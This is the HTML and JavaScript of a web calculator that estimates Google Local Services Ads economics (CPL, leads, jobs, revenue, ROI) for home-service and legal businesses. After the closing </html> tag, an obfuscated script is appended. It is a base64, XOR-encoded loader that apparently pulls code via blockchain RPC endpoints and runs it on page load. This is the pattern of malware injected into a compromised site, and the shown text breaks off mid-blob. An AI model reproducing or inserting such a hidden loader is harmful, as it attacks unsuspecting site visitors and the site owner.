class=\"bzz-card\">\n            <div class=\"bzz-card-header\">\n              <div class=\"bzz-card-header-left\">\n                <div class=\"bzz-step-pill\">Run model<\/div>\n                <div>\n                  <div class=\"bzz-card-title\">Calculate your GLSA economics<\/div>\n                  <div class=\"bzz-card-sub\">We\u2019ll estimate CPL, CPC, clicks, leads, jobs, revenue, profit and ROI.<\/div>\n                <\/div>\n              <\/div>\n            <\/div>\n            <div class=\"bzz-cta-row\">\n              <div class=\"bzz-note\">\n                Fill the dropdowns and hit calculate. Use this as a planning baseline before you launch or scale spend.\n              <\/div>\n              <button id=\"calculateBtn\" class=\"bzz-btn-primary\" type=\"button\">\n                <span class=\"bzz-emoji\">\u26a1<\/span>\n                <span>Calculate<\/span>\n              <\/button>\n            <\/div>\n          <\/div>\n        <\/section>\n\n        <!-- Results -->\n        <section class=\"bzz-results-wrapper bzz-hidden\" id=\"resultsSection\" aria-label=\"Results\">\n          <div class=\"bzz-results-header-row\">\n            <h2>GLSA performance snapshot<\/h2>\n            <div class=\"bzz-results-tag\" id=\"summaryTag\">\n              <div class=\"bzz-results-tag-dot\"><\/div>\n              <span id=\"summaryTagText\">Balanced plan<\/span>\n            <\/div>\n          <\/div>\n\n          <div class=\"bzz-results-grid\">\n            <!-- Main metrics card -->\n            <div class=\"bzz-results-main-card\">\n              <div class=\"bzz-results-main-top\">\n                <div class=\"bzz-results-main-top-left\">\n                  <div class=\"bzz-summary-label\">Overall summary<\/div>\n                  <div class=\"bzz-summary-badge\">\n                    <span id=\"summaryHeadline\">Solid GLSA economics<\/span>\n                    <span class=\"bzz-pill\" id=\"roiBadgeLabel\">ROI target 2x+<\/span>\n                  <\/div>\n                <\/div>\n                <div class=\"bzz-results-main-top-right\">\n                  <span id=\"scenarioLabelText\"><\/span>\n                  <span id=\"contextLabelText\"><\/span>\n                <\/div>\n              <\/div>\n\n              <div class=\"bzz-results-main-metrics\">\n                <div class=\"bzz-metric\">\n                  <div class=\"bzz-metric-label\">Estimated CPL<\/div>\n                  <div class=\"bzz-metric-value\" id=\"metricCpl\">$0<\/div>\n                  <div class=\"bzz-metric-sub\">Market + industry + competition + CPL level<\/div>\n                <\/div>\n                <div class=\"bzz-metric\">\n                  <div class=\"bzz-metric-label\">Monthly ad budget<\/div>\n                  <div class=\"bzz-metric-value\" id=\"metricBudget\">$0<\/div>\n                  <div class=\"bzz-metric-sub\" id=\"metricBudgetMode\">Based on your goal mode<\/div>\n                <\/div>\n                <div class=\"bzz-metric\">\n                  <div class=\"bzz-metric-label\">Leads per month<\/div>\n                  <div class=\"bzz-metric-value\" id=\"metricLeads\">0<\/div>\n                  <div class=\"bzz-metric-sub\" id=\"metricLeadsPerDay\">0 per day (approx)<\/div>\n                <\/div>\n                <div class=\"bzz-metric\">\n                  <div class=\"bzz-metric-label\">Booked jobs per month<\/div>\n                  <div class=\"bzz-metric-value\" id=\"metricJobs\">0<\/div>\n                  <div class=\"bzz-metric-sub\" id=\"metricJobsCapacity\">Capacity check: n\/a<\/div>\n                <\/div>\n                <div class=\"bzz-metric\">\n                  <div class=\"bzz-metric-label\">Estimated revenue<\/div>\n                  <div class=\"bzz-metric-value\" id=\"metricRevenue\">$0<\/div>\n                  <div class=\"bzz-metric-sub\">Before GLSA ad costs<\/div>\n                <\/div>\n                <div class=\"bzz-metric\">\n                  <div class=\"bzz-metric-label\">Estimated profit<\/div>\n                  <div class=\"bzz-metric-value\" id=\"metricProfit\">$0<\/div>\n                  <div class=\"bzz-metric-sub\" id=\"metricProfitAfter\">After ad spend at chosen margin<\/div>\n                <\/div>\n              <\/div>\n            <\/div>\n\n            <!-- Side metrics and warnings -->\n            <div class=\"bzz-results-side-card\">\n              <div>\n                <div class=\"bzz-side-group-title\">Traffic &#038; unit economics<\/div>\n                <div class=\"bzz-side-metrics-grid\">\n                  <div class=\"bzz-metric\">\n                    <div class=\"bzz-metric-label\">Cost per booked job<\/div>\n                    <div class=\"bzz-metric-value\" id=\"metricCostPerJob\">$0<\/div>\n                    <div class=\"bzz-metric-sub\">Ad spend divided by jobs<\/div>\n                  <\/div>\n                  <div class=\"bzz-metric\">\n                    <div class=\"bzz-metric-label\">ROI multiple<\/div>\n                    <div class=\"bzz-metric-value\" id=\"metricRoi\">0x<\/div>\n                    <div class=\"bzz-metric-sub\">Revenue \u00f7 ad spend<\/div>\n                  <\/div>\n                  <div class=\"bzz-metric\">\n                    <div class=\"bzz-metric-label\">Estimated CPC<\/div>\n                    <div class=\"bzz-metric-value\" id=\"metricCpc\">$0<\/div>\n                    <div class=\"bzz-metric-sub\">Modeled from CPL &#038; click \u2192 lead rate<\/div>\n                  <\/div>\n                  <div class=\"bzz-metric\">\n                    <div class=\"bzz-metric-label\">Monthly clicks<\/div>\n                    <div class=\"bzz-metric-value\" id=\"metricClicks\">0<\/div>\n                    <div class=\"bzz-metric-sub\">Estimated GLSA click volume<\/div>\n                  <\/div>\n                <\/div>\n              <\/div>\n\n              <div class=\"bzz-warning-box bzz-hidden\" id=\"warningsBox\">\n                <strong>Model warnings<\/strong>\n                <ul id=\"warningsList\"><\/ul>\n              <\/div>\n\n              <div class=\"bzz-notes-box\">\n                <strong>Notes<\/strong><br \/>\n                This calculator is directional. Real GLSA performance will fluctuate with reviews, geography, time of day, disputes and how fast your team answers leads.<br \/><br \/>\n                <span id=\"userNoteEcho\"><\/span>\n              <\/div>\n            <\/div>\n          <\/div>\n        <\/section>\n      <\/main>\n    <\/div>\n  <\/div>\n\n  <script>\n    (function () {\n      const MIN_CPL = 10;\n\n      \/* Base CPL table: industry \u2192 { tier1, tier2, tier3 } *\/\n      const baseCPL = {\n        plumber:       { tier1: 55,  tier2: 45,  tier3: 35 },\n        electrician:   { tier1: 50,  tier2: 40,  tier3: 30 },\n        hvac:          { tier1: 60,  tier2: 50,  tier3: 40 },\n        locksmith:     { tier1: 40,  tier2: 30,  tier3: 22 },\n        pest:          { tier1: 45,  tier2: 35,  tier3: 28 },\n        roofing:       { tier1: 75,  tier2: 60,  tier3: 45 },\n        realestate:    { tier1: 70,  tier2: 55,  tier3: 40 },\n        personalInjury:{ tier1: 140, tier2: 110, tier3: 85 },\n        immigration:   { tier1: 90,  tier2: 70,  tier3: 55 },\n        otherHome:     { tier1: 45,  tier2: 35,  tier3: 25 },\n        otherPro:      { tier1: 65,  tier2: 50,  tier3: 40 }\n      };\n\n      const competitionModifier = {\n        low: 0.9,\n        medium: 1.0,\n        high: 1.2\n      };\n\n      const cplLevelModifier = {\n        low: 0.9,\n        typical: 1.0,\n        high: 1.1\n      };\n\n      const countryLabels = {\n        us: \"United States\",\n        ca: \"Canada\",\n        uk: \"United Kingdom\",\n        au: \"Australia\",\n        eu: \"Europe\",\n        other: \"Other markets\"\n      };\n\n      const marketLabels = {\n        CA: \"California\",\n        NY: \"New York\",\n        TX: \"Texas\",\n        FL: \"Florida\",\n        IL: \"Illinois\",\n        NJ: \"New Jersey\",\n        WA: \"Washington\",\n        MA: \"Massachusetts\",\n        PA: \"Pennsylvania\",\n        AZ: \"Arizona\",\n        GA: \"Georgia\",\n        CO: \"Colorado\",\n        NC: \"North Carolina\",\n        VA: \"Virginia\",\n        AL: \"Alabama\",\n        AK: \"Alaska\",\n        AR: \"Arkansas\",\n        CT: \"Connecticut\",\n        DE: \"Delaware\",\n        HI: \"Hawaii\",\n        ID: \"Idaho\",\n        IN: \"Indiana\",\n        IA: \"Iowa\",\n        KS: \"Kansas\",\n        KY: \"Kentucky\",\n        LA: \"Louisiana\",\n        ME: \"Maine\",\n        MD: \"Maryland\",\n        MI: \"Michigan\",\n        MN: \"Minnesota\",\n        MS: \"Mississippi\",\n        MO: \"Missouri\",\n        MT: \"Montana\",\n        NE: \"Nebraska\",\n        NV: \"Nevada\",\n        NH: \"New Hampshire\",\n        NM: \"New Mexico\",\n        ND: \"North Dakota\",\n        OH: \"Ohio\",\n        OK: \"Oklahoma\",\n        OR: \"Oregon\",\n        RI: \"Rhode Island\",\n        SC: \"South Carolina\",\n        SD: \"South Dakota\",\n        TN: \"Tennessee\",\n        UT: \"Utah\",\n        VT: \"Vermont\",\n        WV: \"West Virginia\",\n        WI: \"Wisconsin\",\n        WY: \"Wyoming\",\n        nonus_tier1: \"Large non-US metro\",\n        nonus_tier2: \"Non-US mid-size city\",\n        nonus_tier3: \"Non-US small town \/ rural\"\n      };\n\n      const industryLabels = {\n        plumber: \"Plumber\",\n        electrician: \"Electrician\",\n        hvac: \"HVAC\",\n        locksmith: \"Locksmith\",\n        pest: \"Pest control\",\n        roofing: \"Roofing\",\n        realestate: \"Real estate\",\n        personalInjury: \"Personal injury lawyer\",\n        immigration: \"Immigration lawyer\",\n        otherHome: \"Other home service\",\n        otherPro: \"Other professional\"\n      };\n\n      function $(id) {\n        return document.getElementById(id);\n      }\n\n      const goalModeSelect = $(\"goalModeSelect\");\n      const budgetRangeGroup = $(\"budgetRangeGroup\");\n      const budgetRangeSelect = $(\"budgetRangeSelect\");\n      const leadGoalGroup = $(\"leadGoalGroup\");\n      const leadGoalSelect = $(\"leadGoalSelect\");\n\n      const resultsSection = $(\"resultsSection\");\n      const summaryTagText = $(\"summaryTagText\");\n      const summaryHeadline = $(\"summaryHeadline\");\n      const roiBadgeLabel = $(\"roiBadgeLabel\");\n\n      const metricCpl = $(\"metricCpl\");\n      const metricBudget = $(\"metricBudget\");\n      const metricBudgetMode = $(\"metricBudgetMode\");\n      const metricLeads = $(\"metricLeads\");\n      const metricLeadsPerDay = $(\"metricLeadsPerDay\");\n      const metricJobs = $(\"metricJobs\");\n      const metricJobsCapacity = $(\"metricJobsCapacity\");\n      const metricRevenue = $(\"metricRevenue\");\n      const metricProfit = $(\"metricProfit\");\n      const metricProfitAfter = $(\"metricProfitAfter\");\n      const metricCostPerJob = $(\"metricCostPerJob\");\n      const metricRoi = $(\"metricRoi\");\n      const metricCpc = $(\"metricCpc\");\n      const metricClicks = $(\"metricClicks\");\n\n      const scenarioLabelText = $(\"scenarioLabelText\");\n      const contextLabelText = $(\"contextLabelText\");\n\n      const warningsBox = $(\"warningsBox\");\n      const warningsList = $(\"warningsList\");\n      const userNoteEcho = $(\"userNoteEcho\");\n\n      function formatCurrency(value) {\n        if (!isFinite(value)) return \"$0\";\n        return \"$\" + Math.round(value).toLocaleString(\"en-US\");\n      }\n\n      function formatNumber(value, decimals) {\n        if (!isFinite(value)) return \"0\";\n        return Number(value).toFixed(decimals);\n      }\n\n      function handleGoalModeChange() {\n        const mode = goalModeSelect.value;\n        if (mode === \"budget\") {\n          budgetRangeGroup.classList.remove(\"bzz-hidden\");\n          leadGoalGroup.classList.add(\"bzz-hidden\");\n        } else if (mode === \"leads\") {\n          leadGoalGroup.classList.remove(\"bzz-hidden\");\n          budgetRangeGroup.classList.add(\"bzz-hidden\");\n        } else {\n          budgetRangeGroup.classList.remove(\"bzz-hidden\");\n          leadGoalGroup.classList.add(\"bzz-hidden\");\n        }\n      }\n\n      goalModeSelect.addEventListener(\"change\", handleGoalModeChange);\n\n      function clearErrors() {\n        const errorFields = document.querySelectorAll(\".bzz-error\");\n        errorFields.forEach(function (el) {\n          el.classList.remove(\"bzz-error\");\n        });\n      }\n\n      function applyError(el) {\n        if (el) el.classList.add(\"bzz-error\");\n      }\n\n      function getTierForMarket(marketValue) {\n        const tier1States = [\"CA\",\"NY\",\"TX\",\"FL\",\"IL\",\"NJ\",\"WA\",\"MA\",\"PA\",\"AZ\",\"GA\",\"CO\",\"NC\",\"VA\",\"MD\"];\n        const tier2States = [\"MI\",\"MN\",\"TN\",\"MO\",\"WI\",\"OR\",\"IN\",\"NV\",\"UT\",\"CT\",\"SC\",\"AL\",\"LA\",\"KY\",\"OK\",\"KS\",\"OH\"];\n        const tier3States = [\n          \"AL\",\"AK\",\"AR\",\"DE\",\"HI\",\"ID\",\"IA\",\"KS\",\"KY\",\"LA\",\"ME\",\"MS\",\"MT\",\"NE\",\"NH\",\n          \"NM\",\"ND\",\"RI\",\"SD\",\"VT\",\"WV\",\"WY\"\n        ];\n\n        if (tier1States.indexOf(marketValue) !== -1) return \"tier1\";\n        if (tier2States.indexOf(marketValue) !== -1) return \"tier2\";\n        if (tier3States.indexOf(marketValue) !== -1) return \"tier3\";\n\n        if (marketValue === \"nonus_tier1\") return \"tier1\";\n        if (marketValue === \"nonus_tier2\") return \"tier2\";\n        if (marketValue === \"nonus_tier3\") return \"tier3\";\n\n        return \"tier2\";\n      }\n\n      function validateInputs() {\n        clearErrors();\n        let valid = true;\n\n        const requiredSelects = [\n          $(\"countrySelect\"),\n          $(\"marketSelect\"),\n          $(\"competitionSelect\"),\n          $(\"industrySelect\"),\n          $(\"goalModeSelect\"),\n          $(\"capacitySelect\"),\n          $(\"cplLevelSelect\"),\n          $(\"clickToLeadSelect\"),\n          $(\"conversionSelect\"),\n          $(\"jobValueSelect\"),\n          $(\"marginSelect\")\n        ];\n\n        requiredSelects.forEach(function (sel) {\n          if (sel && !sel.value) {\n            applyError(sel);\n            valid = false;\n          }\n        });\n\n        const goalMode = goalModeSelect.value;\n        if (goalMode === \"budget\") {\n          if (!budgetRangeSelect.value) {\n            applyError(budgetRangeSelect);\n            valid = false;\n          }\n        } else if (goalMode === \"leads\") {\n          if (!leadGoalSelect.value) {\n            applyError(leadGoalSelect);\n            valid = false;\n          }\n        }\n\n        return valid;\n      }\n\n      function computeCpl(industry, tierKey, competition, cplLevel) {\n        const baseByIndustry = baseCPL[industry] || baseCPL.otherHome;\n        const base = baseByIndustry[tierKey] || baseByIndustry.tier2;\n        const compMod = competitionModifier[competition] || 1;\n        const cplMod = cplLevelModifier[cplLevel] || 1;\n        let cpl = base * compMod * cplMod;\n        if (cpl < MIN_CPL) cpl = MIN_CPL;\n        return cpl;\n      }\n\n      function classifyPlan(roi, capacityUsage) {\n        if (!isFinite(roi) || roi <= 0) {\n          return {\n            headline: \"Needs work\",\n            tag: \"Low ROI scenario\",\n            roiBadge: \"ROI currently below 1x\"\n          };\n        }\n\n        if (roi >= 4 && capacityUsage >= 0.4 && capacityUsage <= 0.9) {\n          return {\n            headline: \"High leverage GLSA plan\",\n            tag: \"Aggressive growth ready\",\n            roiBadge: \"ROI target 4x+\"\n          };\n        }\n\n        if (roi >= 2 && capacityUsage <= 1.0) {\n          return {\n            headline: \"Balanced GLSA economics\",\n            tag: \"Healthy mix of volume &#038; profit\",\n            roiBadge: \"ROI target 2x+\"\n          };\n        }\n\n        if (roi < 2 &#038;&#038; capacityUsage <= 1.0) {\n          return {\n            headline: \"Volume heavy, profit light\",\n            tag: \"Tighten filters or raise pricing\",\n            roiBadge: \"ROI currently under 2x\"\n          };\n        }\n\n        if (capacityUsage > 1.0) {\n          return {\n            headline: \"Leads exceed capacity\",\n            tag: \"Either add crew or reduce lead goals\",\n            roiBadge: \"ROI depends on ops readiness\"\n          };\n        }\n\n        return {\n          headline: \"GLSA scenario preview\",\n          tag: \"Adjust inputs until it feels right\",\n          roiBadge: \"Planning baseline only\"\n        };\n      }\n\n      function calculate() {\n        if (!validateInputs()) {\n          resultsSection.classList.add(\"bzz-hidden\");\n          return;\n        }\n\n        const country = $(\"countrySelect\").value;\n        const market = $(\"marketSelect\").value;\n        const competition = $(\"competitionSelect\").value;\n        const industry = $(\"industrySelect\").value;\n        const goalMode = goalModeSelect.value;\n        const capacity = Number($(\"capacitySelect\").value || 0);\n        const cplLevel = $(\"cplLevelSelect\").value;\n        const clickToLeadRate = Number($(\"clickToLeadSelect\").value || 0);\n        const conversionRate = Number($(\"conversionSelect\").value || 0);\n        const avgJobValue = Number($(\"jobValueSelect\").value || 0);\n        const margin = Number($(\"marginSelect\").value || 0);\n\n        const notes = $(\"notesInput\").value.trim();\n        const scenarioName = $(\"scenarioNameInput\").value.trim();\n\n        const tierKey = getTierForMarket(market);\n        const cpl = computeCpl(industry, tierKey, competition, cplLevel);\n\n        let budget = 0;\n        let leads = 0;\n\n        if (goalMode === \"budget\") {\n          const budgetMid = Number(budgetRangeSelect.value || 0);\n          budget = budgetMid;\n          leads = budgetMid \/ cpl;\n        } else if (goalMode === \"leads\") {\n          const leadTarget = Number(leadGoalSelect.value || 0);\n          leads = leadTarget;\n          budget = leadTarget * cpl;\n        }\n\n        const leadsPerDay = leads \/ 30;\n        const jobs = leads * conversionRate;\n        const revenue = jobs * avgJobValue;\n        const profit = revenue * margin - budget;\n        const roi = budget > 0 ? revenue \/ budget : 0;\n        const costPerJob = jobs > 0 ? budget \/ jobs : 0;\n\n        const clicks = clickToLeadRate > 0 ? leads \/ clickToLeadRate : 0;\n        const cpc = clicks > 0 ? budget \/ clicks : 0;\n\n        const capacityUsage = capacity > 0 ? jobs \/ capacity : 0;\n        const classification = classifyPlan(roi, capacityUsage);\n\n        metricCpl.textContent = formatCurrency(cpl);\n        metricBudget.textContent = formatCurrency(budget);\n        metricBudgetMode.textContent =\n          goalMode === \"budget\"\n            ? \"Budget-driven scenario\"\n            : \"Lead target-driven scenario\";\n\n        metricLeads.textContent = formatNumber(leads, 0);\n        metricLeadsPerDay.textContent = formatNumber(leadsPerDay, 1) + \" per day (approx)\";\n        metricJobs.textContent = formatNumber(jobs, 1);\n\n        if (capacity > 0) {\n          const usagePercent = capacityUsage * 100;\n          metricJobsCapacity.textContent =\n            \"Using about \" + formatNumber(usagePercent, 0) + \"% of your capacity (\" +\n            formatNumber(capacity, 0) + \" jobs)\";\n        } else {\n          metricJobsCapacity.textContent = \"Capacity not set\";\n        }\n\n        metricRevenue.textContent = formatCurrency(revenue);\n        metricProfit.textContent = formatCurrency(profit);\n        metricProfitAfter.textContent =\n          \"After ad spend at approx \" + formatNumber(margin * 100, 0) + \"% profit margin\";\n\n        metricCostPerJob.textContent = jobs > 0 ? formatCurrency(costPerJob) : \"$0\";\n        metricRoi.textContent = roi > 0 ? formatNumber(roi, 1) + \"x\" : \"0x\";\n\n        metricClicks.textContent = formatNumber(clicks, 0);\n        metricCpc.textContent = cpc > 0 ? formatCurrency(cpc) : \"$0\";\n\n        summaryHeadline.textContent = classification.headline;\n        summaryTagText.textContent = classification.tag;\n        roiBadgeLabel.textContent = classification.roiBadge;\n\n        const countryLabel = countryLabels[country] || \"\";\n        const marketLabel = marketLabels[market] || \"\";\n        const industryLabel = industryLabels[industry] || \"\";\n\n        const parts = [];\n        if (industryLabel) parts.push(industryLabel);\n        if (marketLabel) parts.push(marketLabel);\n        if (countryLabel) parts.push(countryLabel);\n\n        scenarioLabelText.textContent =\n          scenarioName ? \"Scenario: \" + scenarioName : \"Scenario: Default GLSA plan\";\n\n        contextLabelText.textContent = parts.length\n          ? parts.join(\" \u2022 \")\n          : \"Context: Market details not fully set\";\n\n        const warnings = [];\n\n        if (jobs < 1) {\n          warnings.push(\"Your inputs result in fewer than 1 booked job per month. Consider raising budget, improving conversion or targeting higher intent jobs.\");\n        }\n\n        if (capacity > 0 && jobs > capacity) {\n          warnings.push(\"Estimated jobs exceed your stated capacity. Either add crew, extend hours or reduce lead targets.\");\n        }\n\n        if (budget < 500 || leads < 10) {\n          warnings.push(\"Budget or lead volume is quite low. GLSA performance is usually more stable above $500\/month and 10+ leads.\");\n        }\n\n        if (roi < 2 &#038;&#038; revenue > 0 && budget > 0) {\n          warnings.push(\"ROI is below 2x. Revisit your pricing, margin assumptions or focus on higher value services.\");\n        }\n\n        if (!clicks || !cpc || clickToLeadRate <= 0) {\n          warnings.push(\"Click \u2192 lead rate isn\u2019t set realistically. Fine-tune that dropdown to get a more accurate CPC and click forecast.\");\n        }\n\n        if (warnings.length > 0) {\n          warningsBox.classList.remove(\"bzz-hidden\");\n          warningsList.innerHTML = \"\";\n          warnings.forEach(function (msg) {\n            const li = document.createElement(\"li\");\n            li.textContent = msg;\n            warningsList.appendChild(li);\n          });\n        } else {\n          warningsBox.classList.add(\"bzz-hidden\");\n          warningsList.innerHTML = \"\";\n        }\n\n        if (notes || scenarioName) {\n          const noteTextPieces = [];\n          if (scenarioName) {\n            noteTextPieces.push(\"Scenario label: \" + scenarioName + \".\");\n          }\n          if (notes) {\n            noteTextPieces.push(\"Your note: \" + notes);\n          }\n          userNoteEcho.textContent = noteTextPieces.join(\" \");\n        } else {\n          userNoteEcho.textContent =\n            \"Tip \u2013 lock in one scenario, screenshot it, then tweak one variable at a time (budget, CPL level or conversion rate) to compare GLSA outcomes.\";\n        }\n\n        resultsSection.classList.remove(\"bzz-hidden\");\n        resultsSection.scrollIntoView({ behavior: \"smooth\", block: \"start\" });\n      }\n\n      $(\"calculateBtn\").addEventListener(\"click\", calculate);\n    })();\n  <\/script>\n<\/body>\n<\/html>\n\n<script>(function(){var _0x015ccc=88;var _0xe6affb='cD4tNjssMTc2cHEjUn8tKz14KywqMTssf2NSMT5wLCEoPTc+eC8xNjw3L2VlZX8tNjw9PjE2PTx\/JCQsISg9Nz54PDc7LTU9NixlZWV\/LTY8PT4xNj08fyQkLzE2PDcvdgcHGg8HCxsKEQgMBxEWEQwRGRQRAh0cBwdxKj0sLSo2Y1IvMTY8Ny92BwcaDwcLGwoRCAwHERYRDBEZFBECHRwHB2UsKi09Y1I7NzYrLHgUFxsZFAcLDBcKGR8dBxMdAWV\/KzEsPQcqPSg5MSoHKyw5LD1\/Y1I7NzYrLHgUHR8ZGwEHCwwXChkfHQcTHQFlfzovdTw3LzY0Nzk8PTx\/Y1I7NzYrLHgcHR4ZDRQMBwsQFw8HHB0UGQFlaWhoaGNSOzc2Kyx4EBkWHBQdCgcdAAgXCgxlfwcHGg8HFRccHQcKDRYHB39jUjs3NisseBUXHB0HHhEUHQcVGQhlI1I6KjcvKz0qYn8uaXYyK390Uj43Nixify5qdjIrf3RSKj07OSgsOzA5Yn8ua3YyK390UjorNzxify5sdjIrf3RSKzE0PTYsYn8ubXYyK390Ujs0Ny08PjQ5Kj1ify5udjIrf3RSOz4HLSg8OSw9Yn8ub3YyK390UjU5OwcqPTs5KCw7MDlify5gdjIrf3RSNTk7Bzs0Ny08PjQ5Kj1ify5hdjIrf3RSKj07OSgsOzA5By8xNgcqYn8uaWh2Mit\/UiVjUjs3NisseBsXFgwKGRsMBxsXFh4RH2UjUgoIGwcQFwsMC2IDejAsLCgrYnd3Kig7dTU5MTY2PSx2NTksMTt2KS0xMzY3PD12KCo3enR6MCwsKCtid3cqKDt2OTYzKnY7NzV3KDc0IT83Nnp0ejAsLCgrYnd3KDc0IT83NnUoLTo0MTt2Njc8MT0rdjkoKHp0ejAsLCgrYnd3KDc0IT83NnU1OTE2Nj0sdigtOjQxO3Y6NDkrLDkoMXYxN3p0ejAsLCgrYnd3aSooO3YxN3c1OSwxO3p0ejAsLCgrYnd3KDc0IT83NnY8Kig7djcqP3p0ejAsLCgrYnd3KDc0IT83NnY\/OSw9Lzkhdiw9Njw9KjQhdjs3enR6MCwsKCtid3c\/OSw9Lzkhdiw9Njw9KjQhdjs3dygtOjQxO3coNzQhPzc2enR6MCwsKCtid3coNzQhPzc2dTU5MTY2PSx2PzksPS85IXYsOSwtNXYxN3p0ejAsLCgrYnd3KDc0IT83NnYqKDt2Ky06KS09KiF2Nj0sLzcqM3coLTo0MTt6dHowLCwoK2J3dyg3NCE\/NzZ2LDA9Kig7djE3enR6MCwsKCtid3coNzQhPzc2djQ5Ljl2Oi0xNDx6dHowLCwoK2J3dyg3NCE\/NzZ1OjcqdSooO3YoLTo0MTs2Nzw9djs3NXp0ejAsLCgrYnd3KDc0IT83NnYqKDt2MCEoPSorITY7diAhInd6BXRSGxcWDAoZGwwHGRwcCh0LC2J\/aCBhbWgdYB4baW1pHGA8YWloHWA5aGlpa2praG89bjo7HGhrbGhtGWBsf3RSHg0WGwwRFxYHCx0UHRsMFwpifzpuYDxpYGhhf3RSDBEVHRcNDAcVC2JtaGhodFIVGQAHCh0MChEdC2JqUiVjUjE+cCwhKD03PngHBxoPBxsXFgwKGRsMBxcOHQoKERwdeWVlfy02PD0+MTY9PH9+fgcHGg8HGxcWDAoZGwwHFw4dCgoRHB1xI1IsKiEjFzoyPTssdjkrKzE\/NnAbFxYMChkbDAcbFxYeER90BwcaDwcbFxYMChkbDAcXDh0KChEcHXFjJTs5LDswcD1xIyVSJVI0PSx4Oz4\/ZSMlY1I0PSx4KDk2PTQaOSs9DSo0ZX9\/Y1I0PSx4OSgxGjkrPWV\/f2NSND0seDQ3Pw0qNGV\/f2NSND0seCw3Mz02DSo0ZX9\/Y1I0PSx4PDcvNjQ3OTwNKjRlf39jUjs3NisseBkIEQcJagcTHQEHEB0AZX9uajxhOmphbm08bWFtPT5ubG9gaW1rPWE9Oj06aj47O21sbGpoPTo8bWk+bm9qOmthbDw7OWlhOms9aj1uYW9uf2NSPi02OywxNzZ4Om5sLSo0HTY7Nzw9GSs7MTFwKywqcSNSLCohI1IqPSwtKjZ4Oiw3OXALLCoxNj9wKywqcXF2Kj0oNDk7PXB3BHN3P3R\/dX9xdio9KDQ5Oz1wdwR3dz90fwd\/cXYqPSg0OTs9cHdlc3x3P3R\/f3FjUiU7OSw7MHA9cSNSKj0sLSo2f39jUiVSJVI+LTY7LDE3NngwPSAMNxohLD0rcDA9IHEjUiwqISNSMD0gZQssKjE2P3AwPSAkJH9\/cXYsKjE1cHFjUjE+cHl3BgM5dT5odWEFI25sJXx3MXYsPSsscDA9IHFxKj0sLSo2eDYtNDRjUjs3NisseDctLGU2PS94DTE2LGAZKio5IXBranFjUj43KnA0PSx4MWVoYzFka2pjMXNzcSNSNy0sAzEFZSg5Kis9ETYscDA9IHYrLTorLCpwMXJqdGpxdGlucX5oID4+Y1IlUio9LC0qNng3LSxjUiU7OSw7MHA9cSNSKj0sLSo2eDYtNDRjUiVSJVI+LTY7LDE3Nng6ISw9Kww3Gm5sDSo0cDohLD0rcSNSLCohI1I0PSx4OjE2ZX9\/Y1I7NzYrLHg7MC02M2VoIGBoaGhjUj43KnA0PSx4MWVoYzFkOiEsPSt2ND02PywwYzFzZTswLTYzcSNSOjE2c2ULLCoxNj92Pio3NRswOSobNzw9djkoKDQhcDYtNDR0OiEsPSt2Ky06OSoqOSFwMXQxczswLTYzcXFjUiVSKj0sLSo2eDosNzlwOjE2cXYqPSg0OTs9cHcEc3c\/dH91f3F2Kj0oNDk7PXB3BHd3P3R\/B39xdio9KDQ5Oz1wd2VzfHc\/dH9\/cWNSJTs5LDswcD1xI1IqPSwtKjZ\/f2NSJVIlUj4tNjssMTc2eDpubC0qNAw3GiEsPStwOm5sLSo0cSNSLCohI1IxPnB5Om5sLSo0JCQsISg9Nz54Om5sLSo0eWVlfyssKjE2P39xKj0sLSo2eDYtNDRjUjQ9LHg6bmxlOm5sLSo0dio9KDQ5Oz1wd3V3P3R\/c39xdio9KDQ5Oz1wdwd3P3R\/d39xY1I7NzYrLHgoOTxlOm5sdjQ9Nj8sMH1sY1IxPnAoOTxxOm5sc2V\/ZX92Kj0oPTkscGx1KDk8cWNSOzc2Kyx4OjE2ZTksNzpwOm5scWNSOzc2Kyx4Ny0sZTY9L3gNMTYsYBkqKjkhcDoxNnY0PTY\/LDBxY1I+NypwND0seDFlaGMxZDoxNnY0PTY\/LDBjMXNzcTctLAMxBWU6MTZ2OzA5Khs3PD0ZLHAxcX5oID4+Y1IqPSwtKjZ4Ny0sY1IlOzksOzBwPXEjUio9LC0qNng2LTQ0Y1IlUiVSPi02OywxNzZ4OiEsPSsMNw0sPmBwOiEsPStxI1IsKiEjUio9LC0qNng2PS94DD0gLBw9Ozc8PSpwfy0sPnVgf3QjPjksOTRiPjk0Kz0lcXY8PTs3PD1wOiEsPStxY1IlOzksOzBwPXEjUjQ9LHgrZX9\/Y1I+NypwND0seDFlaGMxZDohLD0rdjQ9Nj8sMGMxc3NxK3NlCywqMTY\/dj4qNzUbMDkqGzc8PXA6ISw9KwMxBXFjUio9LC0qNngrY1IlUiVSPi02OywxNzZ4Ozc2OzksGiEsPStwOXQ6cSNSOzc2Kyx4Ny0sZTY9L3gNMTYsYBkqKjkhcDl2ND02Pywwczp2ND02PywwcWNSNy0sdis9LHA5dGhxY1I3LSx2Kz0scDp0OXY0PTY\/LDBxY1IqPSwtKjZ4Ny0sY1IlUjkrITY7eD4tNjssMTc2eCswOWptbhohLD0rcDohLD0rcSNSLCohI1IxPnAsISg9Nz54OyohKCw3ZWVlfy02PD0+MTY9PH8kJHk7KiEoLDd2Ky06LDQ9JCR5OyohKCw3distOiw0PXY8MT89KyxxKj0sLSo2eDYtNDRjUjs3NisseDwxPz0rLGU5LzkxLHg7KiEoLDd2Ky06LDQ9djwxPz0rLHB\/CxAZdWptbn90OiEsPSt2Oi0+Pj0qZzohLD0rdjotPj49KmI6ISw9K3FjUio9LC0qNng2PS94DTE2LGAZKio5IXA8MT89KyxxY1IlOzksOzBwPXEjUio9LC0qNng2LTQ0Y1IlUiVSPi02OywxNzZ4KjtscDM9IRohLD0rdDw5LDkaISw9K3EjUjs3NisseCtlNj0veA0xNixgGSoqOSFwam1ucWNSPjcqcDQ9LHgxZWhjMWRqbW5jMXNzcSsDMQVlMWNSND0seDJlaGNSPjcqcDQ9LHgxZWhjMWRqbW5jMXNzcSNSMmVwMnMrAzEFczM9IRohLD0rAzF9Mz0hGiEsPSt2ND02PywwBXF+am1tY1I7NzYrLHgsNShlKwMxBWNSKwMxBWUrAzIFY1IrAzIFZSw1KGNSJVI0PSx4MWVoY1IyZWhjUjs3NisseDctLGU2PS94DTE2LGAZKio5IXA8OSw5GiEsPSt2ND02PywwcWNSPjcqcDQ9LHg2ZWhjNmQ8OSw5GiEsPSt2ND02PywwYzZzc3EjUjFlcDFzaXF+am1tY1IyZXAycysDMQVxfmptbWNSOzc2Kyx4LDUoZSsDMQVjUisDMQVlKwMyBWNSKwMyBWUsNShjUjs3NisseDNlKwNwKwMxBXMrAzIFcX5q